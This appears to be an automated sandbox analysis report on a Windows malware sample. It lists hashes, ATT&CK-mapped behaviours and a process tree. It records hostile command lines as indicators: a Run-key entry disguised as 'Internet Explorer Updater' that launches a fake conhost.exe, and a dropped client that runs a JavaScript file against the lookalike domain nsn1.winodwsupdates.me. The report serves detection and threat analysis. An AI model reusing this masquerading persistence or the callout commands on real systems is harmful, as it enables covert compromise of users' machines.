9e5221c2d67615b234958bbf1fc33b90bbcbb2596fffb188b91a29ab55713773

General

Target
2026-09-30_b7526cdddffefd22e207b4f47d4be7f8_darkgate_elex_karagany_maze_rhadamanthys_smoke-loader_stealc.exe
Size 859KB
Sample261001-h86edadf45
SHA256 9e5221c2d67615b234958bbf1fc33b90bbcbb2596fffb188b91a29ab55713773
MD5 b7526cdddffefd22e207b4f47d4be7f8
SHA1 46c8972e811076718c649556a9704ba34ad048dd
SHA512 8afff5d686837c0723d6a9ab4b91040148848b26e732fe66032c351fc2ef7d2aac7d635ab8794a00f39c40b13618da9dd23cf3122fc9bb35a7a7536f2a7c1659
SSDEEP 12288:Zh9LMelLiweD/sPh+3VdLslSGSFfYGDDxCAjX5WkY2+M+2M9TwAeG2iPL9b:ZhjLGD/Eh+TLslSGSFwuxLKpTw94b
TLSH
T1AD158D01FBC380F1EC2341311697F77F8639BA218528CD9BFBC85E49AE325A1761A795
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Executes a file named after a Windows system binary 1 TTPs 3 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe	conhost.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe	cmd.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe	cmd.exe

Executes dropped EXE 4 IoCs

pid	Process
1448	conhost.exe
1036	conhost.exe
5208	conhost.exe
3052	dnclient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\Internet Explorer Updater = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\conhost.exe\" -startup"	2026-09-30_b7526cdddffefd22e207b4f47d4be7f8_darkgate_elex_karagany_maze_rhadamanthys_smoke-loader_stealc.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	dnclient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	dnclient.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	conhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dnclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-30_b7526cdddffefd22e207b4f47d4be7f8_darkgate_elex_karagany_maze_rhadamanthys_smoke-loader_stealc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4232 wrote to memory of 4752	4232	2026-09-30_b7526cdddffefd22e207b4f47d4be7f8_darkgate_elex_karagany_maze_rhadamanthys_smoke-loader_stealc.exe	89
PID 4752 wrote to memory of 1448	4752	cmd.exe	91
PID 1448 wrote to memory of 6128	1448	conhost.exe	92
PID 6128 wrote to memory of 1036	6128	cmd.exe	94
PID 1448 wrote to memory of 3052	1448	conhost.exe	97
PID 3052 wrote to memory of 3568	3052	dnclient.exe	99

C:\Users\Admin\AppData\Local\Temp\2026-09-30_b7526cdddffefd22e207b4f47d4be7f8_darkgate_elex_karagany_maze_rhadamanthys_smoke-loader_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_b7526cdddffefd22e207b4f47d4be7f8_darkgate_elex_karagany_maze_rhadamanthys_smoke-loader_stealc.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4232
- \??\c:\windows\SysWOW64\cmd.exe
  /c C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe -startup
  2⤵
  - Executes a file named after a Windows system binary
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe -startup
    3⤵
    - Executes a file named after a Windows system binary
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - \??\c:\windows\SysWOW64\cmd.exe
      /c C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe -startup
      4⤵
      Executes a file named after a Windows system binary
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6128
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe
        
        C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe -startup
        5⤵
        Executes dropped EXE
        
        PID:1036
  - - C:\Users\Admin\AppData\Local\Temp\dnclient.exe
      "cscript.exe //T:20 //Nologo C:\Users\Admin\AppData\Local\Temp\a.js" nsn1.winodwsupdates.me
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3052
    - - C:\Windows\SysWOW64\cscript.exe
        
        cscript.exe //T:20 //Nologo C:\Users\Admin\AppData\Local\Temp\a.js
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3568

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe" -startup
1⤵
- Executes dropped EXE
PID:5208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Masquerading

1

T1036

Match Legitimate Name or Location

Modify Registry

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

conhost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\conhost.exe
Size 859KB
SHA256 defedd816d08f82eae27bb028d82086f4db04ed896766aae6556de94732ffbec
MD5 814601af95dd3a7899065c8567523167
SHA1 5b78489e2d4a86d94cf6b2db2b1ea37c10c11299
SHA512 456b700e5eff3067ba8cb3c35cae35f2d4bdaf900a7211a6336eccf3f0b0bbc5ac16e7e2833d7ad8f55e228e246678351941bac51826293f6f078d0a47bc496f
SSDEEP 12288:Zh9LMelLiwwD/sPh+3VdLslSGSFfYGDDxCAjX5WkY2+M+2M9TwAeG2iPL9b:ZhjL4D/Eh+TLslSGSFwuxLKpTw94b
TLSH
T16F158D01FBC380F1EC2341311697F77F8639BA218528CD9BFBC85E49AE325A1761A795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a.js

Path C:\Users\Admin\AppData\Local\Temp\a.js
Size 656B
SHA256 3b25c05c06d614d86ee6c7b5c9e062bb61125efc66b7859a66fbd8997d2876c9
MD5 e86949b5f8ca6876543034402b99f7e2
SHA1 3770791dfb82cf0aa10a7ed569e8d1296b74179f
SHA512 e3cb23616714f54e770444e8cb6cd7148adcf48f12643e2ced927923245ee7bf82a89c2c6694967a39e7b85cabe3319c6c9cdb7ff28257dcc6a16724d1958492
TLSH
T12BF0F431502DFB584A81019083B6D65B8CD0100B1B70D96B5AC4848DF4C642FC7D43FD
MD5 SHA1 SHA512 TLSH

Submit Download

dnclient.exe

Path C:\Users\Admin\AppData\Local\Temp\dnclient.exe
Size 108KB
SHA256 fd25492d3d6ee360199ac6c1f8215f141665951556c940dc654c97c54eb7729d
MD5 414e753128b88b477d154b84f9555076
SHA1 0331b2af2d0d90ebbbf649d4a2238e714db2972a
SHA512 cb0e782edc9553f30e6a1f2fe179168accab8af0705d9b0738c43239cab5a305c650873dd7f279822c9a2d99f1d2deb355d64385f793d0456196f709af70e3c9
SSDEEP 1536:LRABUB3CXtOItm1RdQj0X5t3su0N6OYrSXtdcUeSsWjcdLmZVi:L5SdOjk0XfwN6AXDeduVi
TLSH
T170B38D12B2C48030D17241364669AFA15ABDFD314F755E5FBBE8099E4B384D0B63ABB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads